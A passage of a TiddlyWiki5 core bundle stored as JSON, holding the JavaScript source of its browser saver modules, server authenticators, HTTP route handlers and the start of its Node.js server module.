document.createElement(\"div\");\n\t\tmessage.setAttribute(\"data-tiddlyfox-path\",decodeURIComponent(pathname));\n\t\tmessage.setAttribute(\"data-tiddlyfox-content\",text);\n\t\tmessageBox.appendChild(message);\n\t\t// Add an event handler for when the file has been saved\n\t\tmessage.addEventListener(\"tiddlyfox-have-saved-file\",function(event) {\n\t\t\tcallback(null);\n\t\t}, false);\n\t\t// Create and dispatch the custom event to the extension\n\t\tvar event = document.createEvent(\"Events\");\n\t\tevent.initEvent(\"tiddlyfox-save-file\",true,false);\n\t\tmessage.dispatchEvent(event);\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nInformation about this saver\n*/\nTiddlyFoxSaver.prototype.info = {\n\tname: \"tiddlyfox\",\n\tpriority: 1500,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TiddlyFoxSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/tiddlyie.js": {
            "title": "$:/core/modules/savers/tiddlyie.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/tiddlyie.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via Internet Explorer BHO extenion (TiddlyIE)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar TiddlyIESaver = function(wiki) {\n};\n\nTiddlyIESaver.prototype.save = function(text,method,callback) {\n\t// Check existence of TiddlyIE BHO extension (note: only works after document is complete)\n\tif(typeof(window.TiddlyIE) != \"undefined\") {\n\t\t// Get the pathname of this document\n\t\tvar pathname = unescape(document.location.pathname);\n\t\t// Test for a Windows path of the form /x:/blah...\n\t\tif(/^\\/[A-Z]\\:\\/[^\\/]+/i.test(pathname)) {\t// ie: ^/[a-z]:/[^/]+ (is this better?: ^/[a-z]:/[^/]+(/[^/]+)*\\.[^/]+ )\n\t\t\t// Remove the leading slash\n\t\t\tpathname = pathname.substr(1);\n\t\t\t// Convert slashes to backslashes\n\t\t\tpathname = pathname.replace(/\\//g,\"\\\\\");\n\t\t} else if(document.hostname !== \"\" && /^\\/[^\\/]+\\/[^\\/]+/i.test(pathname)) {\t// test for \\\\server\\share\\blah... - ^/[^/]+/[^/]+\n\t\t\t// Convert slashes to backslashes\n\t\t\tpathname = pathname.replace(/\\//g,\"\\\\\");\n\t\t\t// reconstruct UNC path\n\t\t\tpathname = \"\\\\\\\\\" + document.location.hostname + pathname;\n\t\t} else return false;\n\t\t// Prompt the user to save the file\n\t\twindow.TiddlyIE.save(pathname, text);\n\t\t// Callback that we succeeded\n\t\tcallback(null);\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nInformation about this saver\n*/\nTiddlyIESaver.prototype.info = {\n\tname: \"tiddlyiesaver\",\n\tpriority: 1500,\n\tcapabilities: [\"save\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn (window.location.protocol === \"file:\");\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TiddlyIESaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/twedit.js": {
            "title": "$:/core/modules/savers/twedit.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/twedit.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the TWEdit iOS app\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar TWEditSaver = function(wiki) {\n};\n\nTWEditSaver.prototype.save = function(text,method,callback) {\n\t// Bail if we're not running under TWEdit\n\tif(typeof DeviceInfo !== \"object\") {\n\t\treturn false;\n\t}\n\t// Get the pathname of this document\n\tvar pathname = decodeURIComponent(document.location.pathname);\n\t// Strip any query or location part\n\tvar p = pathname.indexOf(\"?\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\tp = pathname.indexOf(\"#\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\t// Remove the leading \"/Documents\" from path\n\tvar prefix = \"/Documents\";\n\tif(pathname.indexOf(prefix) === 0) {\n\t\tpathname = pathname.substr(prefix.length);\n\t}\n\t// Error handler\n\tvar errorHandler = function(event) {\n\t\t// Error\n\t\tcallback($tw.language.getString(\"Error/SavingToTWEdit\") + \": \" + event.target.error.code);\n\t};\n\t// Get the file system\n\twindow.requestFileSystem(LocalFileSystem.PERSISTENT,0,function(fileSystem) {\n\t\t// Now we've got the filesystem, get the fileEntry\n\t\tfileSystem.root.getFile(pathname, {create: true}, function(fileEntry) {\n\t\t\t// Now we've got the fileEntry, create the writer\n\t\t\tfileEntry.createWriter(function(writer) {\n\t\t\t\twriter.onerror = errorHandler;\n\t\t\t\twriter.onwrite = function() {\n\t\t\t\t\tcallback(null);\n\t\t\t\t};\n\t\t\t\twriter.position = 0;\n\t\t\t\twriter.write(text);\n\t\t\t},errorHandler);\n\t\t}, errorHandler);\n\t}, errorHandler);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nTWEditSaver.prototype.info = {\n\tname: \"twedit\",\n\tpriority: 1600,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new TWEditSaver(wiki);\n};\n\n/////////////////////////// Hack\n// HACK: This ensures that TWEdit recognises us as a TiddlyWiki document\nif($tw.browser) {\n\twindow.version = {title: \"TiddlyWiki\"};\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/upload.js": {
            "title": "$:/core/modules/savers/upload.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/upload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via upload to a server.\n\nDesigned to be compatible with BidiX's UploadPlugin at http://tiddlywiki.bidix.info/#UploadPlugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar UploadSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nUploadSaver.prototype.save = function(text,method,callback) {\n\t// Get the various parameters we need\n\tvar backupDir = this.wiki.getTextReference(\"$:/UploadBackupDir\") || \".\",\n\t\tusername = this.wiki.getTextReference(\"$:/UploadName\"),\n\t\tpassword = $tw.utils.getPassword(\"upload\"),\n\t\tuploadDir = this.wiki.getTextReference(\"$:/UploadDir\") || \".\",\n\t\tuploadFilename = this.wiki.getTextReference(\"$:/UploadFilename\") || \"index.html\",\n\t\turl = this.wiki.getTextReference(\"$:/UploadURL\");\n\t// Bail out if we don't have the bits we need\n\tif(!username || username.toString().trim() === \"\" || !password || password.toString().trim() === \"\") {\n\t\treturn false;\n\t}\n\t// Construct the url if not provided\n\tif(!url) {\n\t\turl = \"http://\" + username + \".tiddlyspot.com/store.cgi\";\n\t}\n\t// Assemble the header\n\tvar boundary = \"---------------------------\" + \"AaB03x\";\t\n\tvar uploadFormName = \"UploadPlugin\";\n\tvar head = [];\n\thead.push(\"--\" + boundary + \"\\r\\nContent-disposition: form-data; name=\\\"UploadPlugin\\\"\\r\\n\");\n\thead.push(\"backupDir=\" + backupDir + \";user=\" + username + \";password=\" + password + \";uploaddir=\" + uploadDir + \";;\"); \n\thead.push(\"\\r\\n\" + \"--\" + boundary);\n\thead.push(\"Content-disposition: form-data; name=\\\"userfile\\\"; filename=\\\"\" + uploadFilename + \"\\\"\");\n\thead.push(\"Content-Type: text/html;charset=UTF-8\");\n\thead.push(\"Content-Length: \" + text.length + \"\\r\\n\");\n\thead.push(\"\");\n\t// Assemble the tail and the data itself\n\tvar tail = \"\\r\\n--\" + boundary + \"--\\r\\n\",\n\t\tdata = head.join(\"\\r\\n\") + text + tail;\n\t// Do the HTTP post\n\tvar http = new XMLHttpRequest();\n\thttp.open(\"POST\",url,true,username,password);\n\thttp.setRequestHeader(\"Content-Type\",\"multipart/form-data; charset=UTF-8; boundary=\" + boundary);\n\thttp.onreadystatechange = function() {\n\t\tif(http.readyState == 4 && http.status == 200) {\n\t\t\tif(http.responseText.substr(0,4) === \"0 - \") {\n\t\t\t\tcallback(null);\n\t\t\t} else {\n\t\t\t\tcallback(http.responseText);\n\t\t\t}\n\t\t}\n\t};\n\ttry {\n\t\thttp.send(data);\n\t} catch(ex) {\n\t\treturn callback($tw.language.getString(\"Error/Caption\") + \":\" + ex);\n\t}\n\t$tw.notifier.display(\"$:/language/Notifications/Save/Starting\");\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nUploadSaver.prototype.info = {\n\tname: \"upload\",\n\tpriority: 2000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new UploadSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/server/authenticators/basic.js": {
            "title": "$:/core/modules/server/authenticators/basic.js",
            "text": "/*\\\ntitle: $:/core/modules/server/authenticators/basic.js\ntype: application/javascript\nmodule-type: authenticator\n\nAuthenticator for WWW basic authentication\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nif($tw.node) {\n\tvar util = require(\"util\"),\n\t\tfs = require(\"fs\"),\n\t\turl = require(\"url\"),\n\t\tpath = require(\"path\");\n}\n\nfunction BasicAuthenticator(server) {\n\tthis.server = server;\n\tthis.credentialsData = [];\n}\n\n/*\nReturns true if the authenticator is active, false if it is inactive, or a string if there is an error\n*/\nBasicAuthenticator.prototype.init = function() {\n\t// Read the credentials data\n\tthis.credentialsFilepath = this.server.get(\"credentials\");\n\tif(this.credentialsFilepath) {\n\t\tvar resolveCredentialsFilepath = path.resolve($tw.boot.wikiPath,this.credentialsFilepath);\n\t\tif(fs.existsSync(resolveCredentialsFilepath) && !fs.statSync(resolveCredentialsFilepath).isDirectory()) {\n\t\t\tvar credentialsText = fs.readFileSync(resolveCredentialsFilepath,\"utf8\"),\n\t\t\t\tcredentialsData = $tw.utils.parseCsvStringWithHeader(credentialsText);\n\t\t\tif(typeof credentialsData === \"string\") {\n\t\t\t\treturn \"Error: \" + credentialsData + \" reading credentials from '\" + resolveCredentialsFilepath + \"'\";\n\t\t\t} else {\n\t\t\t\tthis.credentialsData = credentialsData;\n\t\t\t}\n\t\t} else {\n\t\t\treturn \"Error: Unable to load user credentials from '\" + credentialsFilepath + \"'\";\n\t\t}\n\t}\n\t// Add the hardcoded username and password if specified\n\tif(this.server.get(\"username\") && this.server.get(\"password\")) {\n\t\tthis.credentialsData = this.credentialsData || [];\n\t\tthis.credentialsData.push({\n\t\t\tusername: this.server.get(\"username\"),\n\t\t\tpassword: this.server.get(\"password\")\n\t\t});\n\t}\n\treturn this.credentialsData.length > 0;\n};\n\n/*\nReturns true if the request is authenticated and assigns the \"authenticatedUsername\" state variable.\nReturns false if the request couldn't be authenticated having sent an appropriate response to the browser\n*/\nBasicAuthenticator.prototype.authenticateRequest = function(request,response,state) {\n\t// Extract the incoming username and password from the request\n\tvar header = request.headers.authorization || \"\";\n\tif(!header && state.allowAnon) {\n\t\t// If there's no header and anonymous access is allowed then we don't set authenticatedUsername\n\t\treturn true;\n\t}\n\tvar token = header.split(/\\s+/).pop() || \"\",\n\t\tauth = $tw.utils.base64Decode(token),\n\t\tparts = auth.split(/:/),\n\t\tincomingUsername = parts[0],\n\t\tincomingPassword = parts[1];\n\t// Check that at least one of the credentials matches\n\tvar matchingCredentials = this.credentialsData.find(function(credential) {\n\t\treturn credential.username === incomingUsername && credential.password === incomingPassword;\n\t});\n\tif(matchingCredentials) {\n\t\t// If so, add the authenticated username to the request state\n\t\tstate.authenticatedUsername = incomingUsername;\n\t\treturn true;\n\t} else {\n\t\t// If not, return an authentication challenge\n\t\tresponse.writeHead(401,\"Authentication required\",{\n\t\t\t\"WWW-Authenticate\": 'Basic realm=\"Please provide your username and password to login to ' + state.server.servername + '\"'\n\t\t});\n\t\tresponse.end();\n\t\treturn false;\n\t}\n};\n\nexports.AuthenticatorClass = BasicAuthenticator;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "authenticator"
        },
        "$:/core/modules/server/authenticators/header.js": {
            "title": "$:/core/modules/server/authenticators/header.js",
            "text": "/*\\\ntitle: $:/core/modules/server/authenticators/header.js\ntype: application/javascript\nmodule-type: authenticator\n\nAuthenticator for trusted header authentication\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction HeaderAuthenticator(server) {\n\tthis.server = server;\n\tthis.header = server.get(\"authenticated-user-header\");\n}\n\n/*\nReturns true if the authenticator is active, false if it is inactive, or a string if there is an error\n*/\nHeaderAuthenticator.prototype.init = function() {\n\treturn !!this.header;\n};\n\n/*\nReturns true if the request is authenticated and assigns the \"authenticatedUsername\" state variable.\nReturns false if the request couldn't be authenticated having sent an appropriate response to the browser\n*/\nHeaderAuthenticator.prototype.authenticateRequest = function(request,response,state) {\n\t// Otherwise, authenticate as the username in the specified header\n\tvar username = request.headers[this.header];\n\tif(!username && !state.allowAnon) {\n\t\tresponse.writeHead(401,\"Authorization header required to login to '\" + state.server.servername + \"'\");\n\t\tresponse.end();\n\t\treturn false;\n\t} else {\n\t\t// authenticatedUsername will be undefined for anonymous users\n\t\tstate.authenticatedUsername = username;\n\t\treturn true;\n\t}\n};\n\nexports.AuthenticatorClass = HeaderAuthenticator;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "authenticator"
        },
        "$:/core/modules/server/routes/delete-tiddler.js": {
            "title": "$:/core/modules/server/routes/delete-tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/delete-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nDELETE /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"DELETE\";\n\nexports.path = /^\\/bags\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]);\n\tstate.wiki.deleteTiddler(title);\n\tresponse.writeHead(204, \"OK\", {\n\t\t\"Content-Type\": \"text/plain\"\n\t});\n\tresponse.end();\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-favicon.js": {
            "title": "$:/core/modules/server/routes/get-favicon.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-favicon.js\ntype: application/javascript\nmodule-type: route\n\nGET /favicon.ico\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/favicon.ico$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": \"image/x-icon\"});\n\tvar buffer = state.wiki.getTiddlerText(\"$:/favicon.ico\",\"\");\n\tresponse.end(buffer,\"base64\");\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-file.js": {
            "title": "$:/core/modules/server/routes/get-file.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-file.js\ntype: application/javascript\nmodule-type: route\n\nGET /files/:filepath\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/files\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar path = require(\"path\"),\n\t\tfs = require(\"fs\"),\n\t\tutil = require(\"util\");\n\tvar filename = path.resolve($tw.boot.wikiPath,\"files\",decodeURIComponent(state.params[0])),\n\t\textension = path.extname(filename);\n\tfs.readFile(filename,function(err,content) {\n\t\tvar status,content,type = \"text/plain\";\n\t\tif(err) {\n\t\t\tif(err.code === \"ENOENT\") {\n\t\t\t\tstatus = 404;\n\t\t\t\tcontent = \"File '\" + filename + \"' not found\";\n\t\t\t} else if(err.code === \"EACCES\") {\n\t\t\t\tstatus = 403;\n\t\t\t\tcontent = \"You do not have permission to access the file '\" + filename + \"'\";\n\t\t\t} else {\n\t\t\t\tstatus = 500;\n\t\t\t\tcontent = err.toString();\n\t\t\t}\n\t\t} else {\n\t\t\tstatus = 200;\n\t\t\tcontent = content;\n\t\t\ttype = ($tw.config.fileExtensionInfo[extension] ? $tw.config.fileExtensionInfo[extension].type : \"application/octet-stream\");\n\t\t}\n\t\tresponse.writeHead(status,{\n\t\t\t\"Content-Type\": type\n\t\t});\n\t\tresponse.end(content);\n\t});\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-index.js": {
            "title": "$:/core/modules/server/routes/get-index.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-index.js\ntype: application/javascript\nmodule-type: route\n\nGET /\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": state.server.get(\"root-serve-type\")});\n\tvar text = state.wiki.renderTiddler(state.server.get(\"root-render-type\"),state.server.get(\"root-tiddler\"));\n\tresponse.end(text,\"utf8\");\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-login-basic.js": {
            "title": "$:/core/modules/server/routes/get-login-basic.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-login-basic.js\ntype: application/javascript\nmodule-type: route\n\nGET /login-basic -- force a Basic Authentication challenge\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/login-basic$/;\n\nexports.handler = function(request,response,state) {\n\tif(!state.authenticatedUsername) {\n\t\t// Challenge if there's no username\n\t\tresponse.writeHead(401,{\n\t\t\t\"WWW-Authenticate\": 'Basic realm=\"Please provide your username and password to login to ' + state.server.servername + '\"'\n\t\t});\n\t\tresponse.end();\t\t\n\t} else {\n\t\t// Redirect to the root wiki if login worked\n\t\tresponse.writeHead(302,{\n\t\t\tLocation: \"/\"\n\t\t});\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-status.js": {
            "title": "$:/core/modules/server/routes/get-status.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-status.js\ntype: application/javascript\nmodule-type: route\n\nGET /status\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/status$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\tvar text = JSON.stringify({\n\t\tusername: state.authenticatedUsername || state.server.get(\"anon-username\") || \"\",\n\t\tanonymous: !state.authenticatedUsername,\n\t\tread_only: !state.server.isAuthorized(\"writers\",state.authenticatedUsername),\n\t\tspace: {\n\t\t\trecipe: \"default\"\n\t\t},\n\t\ttiddlywiki_version: $tw.version\n\t});\n\tresponse.end(text,\"utf8\");\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-tiddler-html.js": {
            "title": "$:/core/modules/server/routes/get-tiddler-html.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddler-html.js\ntype: application/javascript\nmodule-type: route\n\nGET /:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/([^\\/]+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\t\ttiddler = state.wiki.getTiddler(title);\n\tif(tiddler) {\n\t\tvar renderType = tiddler.getFieldString(\"_render_type\"),\n\t\t\trenderTemplate = tiddler.getFieldString(\"_render_template\");\n\t\t// Tiddler fields '_render_type' and '_render_template' overwrite\n\t\t// system wide settings for render type and template\n\t\tif(state.wiki.isSystemTiddler(title)) {\n\t\t\trenderType = renderType || state.server.get(\"system-tiddler-render-type\");\n\t\t\trenderTemplate = renderTemplate || state.server.get(\"system-tiddler-render-template\");\n\t\t} else {\n\t\t\trenderType = renderType || state.server.get(\"tiddler-render-type\");\n\t\t\trenderTemplate = renderTemplate || state.server.get(\"tiddler-render-template\");\n\t\t}\n\t\tvar text = state.wiki.renderTiddler(renderType,renderTemplate,{parseAsInline: true, variables: {currentTiddler: title}});\n\t\t// Naughty not to set a content-type, but it's the easiest way to ensure the browser will see HTML pages as HTML, and accept plain text tiddlers as CSS or JS\n\t\tresponse.writeHead(200);\n\t\tresponse.end(text,\"utf8\");\n\t} else {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-tiddler.js": {
            "title": "$:/core/modules/server/routes/get-tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nGET /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\t\ttiddler = state.wiki.getTiddler(title),\n\t\ttiddlerFields = {},\n\t\tknownFields = [\n\t\t\t\"bag\", \"created\", \"creator\", \"modified\", \"modifier\", \"permissions\", \"recipe\", \"revision\", \"tags\", \"text\", \"title\", \"type\", \"uri\"\n\t\t];\n\tif(tiddler) {\n\t\t$tw.utils.each(tiddler.fields,function(field,name) {\n\t\t\tvar value = tiddler.getFieldString(name);\n\t\t\tif(knownFields.indexOf(name) !== -1) {\n\t\t\t\ttiddlerFields[name] = value;\n\t\t\t} else {\n\t\t\t\ttiddlerFields.fields = tiddlerFields.fields || {};\n\t\t\t\ttiddlerFields.fields[name] = value;\n\t\t\t}\n\t\t});\n\t\ttiddlerFields.revision = state.wiki.getChangeCount(title);\n\t\ttiddlerFields.type = tiddlerFields.type || \"text/vnd.tiddlywiki\";\n\t\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\t\tresponse.end(JSON.stringify(tiddlerFields),\"utf8\");\n\t} else {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t}\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/get-tiddlers-json.js": {
            "title": "$:/core/modules/server/routes/get-tiddlers-json.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/get-tiddlers-json.js\ntype: application/javascript\nmodule-type: route\n\nGET /recipes/default/tiddlers/tiddlers.json\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"GET\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers.json$/;\n\nexports.handler = function(request,response,state) {\n\tresponse.writeHead(200, {\"Content-Type\": \"application/json\"});\n\tvar tiddlers = [];\n\tstate.wiki.forEachTiddler({sortField: \"title\"},function(title,tiddler) {\n\t\tvar tiddlerFields = {};\n\t\t$tw.utils.each(tiddler.fields,function(field,name) {\n\t\t\tif(name !== \"text\") {\n\t\t\t\ttiddlerFields[name] = tiddler.getFieldString(name);\n\t\t\t}\n\t\t});\n\t\ttiddlerFields.revision = state.wiki.getChangeCount(title);\n\t\ttiddlerFields.type = tiddlerFields.type || \"text/vnd.tiddlywiki\";\n\t\ttiddlers.push(tiddlerFields);\n\t});\n\tvar text = JSON.stringify(tiddlers);\n\tresponse.end(text,\"utf8\");\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/routes/put-tiddler.js": {
            "title": "$:/core/modules/server/routes/put-tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/server/routes/put-tiddler.js\ntype: application/javascript\nmodule-type: route\n\nPUT /recipes/default/tiddlers/:title\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.method = \"PUT\";\n\nexports.path = /^\\/recipes\\/default\\/tiddlers\\/(.+)$/;\n\nexports.handler = function(request,response,state) {\n\tvar title = decodeURIComponent(state.params[0]),\n\tfields = JSON.parse(state.data);\n\t// Pull up any subfields in the `fields` object\n\tif(fields.fields) {\n\t\t$tw.utils.each(fields.fields,function(field,name) {\n\t\t\tfields[name] = field;\n\t\t});\n\t\tdelete fields.fields;\n\t}\n\t// Remove any revision field\n\tif(fields.revision) {\n\t\tdelete fields.revision;\n\t}\n\tstate.wiki.addTiddler(new $tw.Tiddler(state.wiki.getCreationFields(),fields,{title: title},state.wiki.getModificationFields()));\n\tvar changeCount = state.wiki.getChangeCount(title).toString();\n\tresponse.writeHead(204, \"OK\",{\n\t\tEtag: \"\\\"default/\" + encodeURIComponent(title) + \"/\" + changeCount + \":\\\"\",\n\t\t\"Content-Type\": \"text/plain\"\n\t});\n\tresponse.end();\n};\n\n}());\n",
            "type": "application/javascript",
            "module-type": "route"
        },
        "$:/core/modules/server/server.js": {
            "title": "$:/core/modules/server/server.js",
            "text": "/*\\\ntitle: $:/core/modules/server/server.js\ntype: application/javascript\nmodule-type: library\n\nServe tiddlers over http\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nif($tw.node) {\n\tvar util = require(\"util\"),\n\t\tfs = require(\"fs\"),\n\t\turl = require(\"url\"),\n\t\tpath = require(\"path\");\n}\n\n/*\nA simple HTTP server with regexp-based routes\noptions: variables - optional hashmap of variables to set (a misnomer - they are really constant parameters)\n\t\t routes - optional array of routes to use\n\t\t wiki - reference to wiki object\n*/\nfunction Server(options) {\n\tvar self = this;\n\tthis.routes = options.routes || [];\n\tthis.authenticators = options.authenticators || [];\n\tthis.wiki = options.wiki;\n\tthis.servername = $tw.utils.transliterateToSafeASCII(this.wiki.getTiddlerText(\"$:/SiteTitle\") || \"TiddlyWiki5\");\n\t// Initialise the variables\n\tthis.variables = $tw.utils.extend({},this.defaultVariables);\n\tif(options.variables) {\n\t\tfor(var variable in options.variables) {\n\t\t\tif(options.variables[variable]) {\n\t\t\t\tthis.variables[variable] = options.variables[variable];\n\t\t\t}\n\t\t}\t\t\n\t}\n\t$tw.utils.extend({},this.defaultVariables,options.variables);\n\t// Initialise CSRF\n\tthis.csrfDisable = this.get(\"csrf-disable\") === \"yes\";\n\t// Initialise authorization\n\tvar authorizedUserName = (this.get(\"username\") && this.get(\"password\")) ? this.get(\"username\") : \"(anon)\";\n\tthis.authorizationPrincipals = {\n\t\treaders: (this.get(\"readers\") || authorizedUserName).split(\",\").map($tw.utils.trim),\n\t\twriters: (this.get(\"writers\") || authorizedUserName).split(\",\").map($tw.utils.trim)\n\t}\n\t// Load and initialise authenticators\n\t$tw.modules.forEachModuleOfType(\"authenticator\", function(title,authenticatorDefinition) {\n\t\t// console.log(\"Loading server route \" + title);\n\t\tself.addAuthenticator(authenticatorDefinition.AuthenticatorClass);\n\t});\n\t// Load route handlers\n\t$tw.modules.forEachModuleOfType(\"route\", function(title,routeDefinition) {\n\t\t// console.log(\"Loading server route \" + title);\n\t\tself.addRoute(routeDefinition);\n\t});\n\t// Initialise the http vs https\n\tthis.listenOptions = null;\n\tthis.protocol = \"http\";\n\tvar tlsKeyFilepath = this.get(\"tls-key\"),\n\t\ttlsCertFilepath = this.get(\"tls-cert\");\n\tif(tlsCertFilepath && tlsKeyFilepath) {\n\t\tthis.listenOptions = {\n\t\t\tkey: fs.readFileSync(path.resolve($tw.boot.wikiPath,tlsKeyFilepath),\"utf8\"),\n\t\t\tcert: fs.readFileSync(path.resolve($tw.boot.wikiPath,tlsCertFilepath),\"utf8\")\n\t\t};\n\t\tthis.protocol = \"https\";\n\t}\n\tthis.transport = require(this.protocol);\n}\n\nServer.prototype.defaultVariables = {\n\tport: \"8080\",\n\thost: \"127.0.0.1\",\n\t\"root-tiddler\": \"$:/core/save/all\",\n\t\"root-render-type\": \"text/plain\",\n\t\"root-serve-type\": \"text/html\",\n\t\"tiddler-render-type\": \"text/html\",\n\t\"tiddler-render-template\": \"$:/core/templates/server/static.tiddler.html\",\n\t\"system-tiddler-render-type\": \"text/plain\",\n\t\"system-tiddler-render-template\": \"$:/core/templates/wikified-tiddler\",\n\t\"debug-level\": \"none\"\n};\n\nServer.prototype.get = function(name) {\n\treturn this.variables[name];\n};\n\nServer.prototype.addRoute = function(route) {\n\tthis.routes.push(route);\n};\n\nServer.prototype.addAuthenticator = function(AuthenticatorClass) {\n\t// Instantiate and initialise the authenticator\n\tvar authenticator = new AuthenticatorClass(this),\n\t\tresult = authenticator.init();\n\tif(typeof result === \"string\") {\n\t\t$tw.utils.error(\"Error: \" + result);\n\t} else if(result) {\n\t\t// Only use the authenticator if it initialised 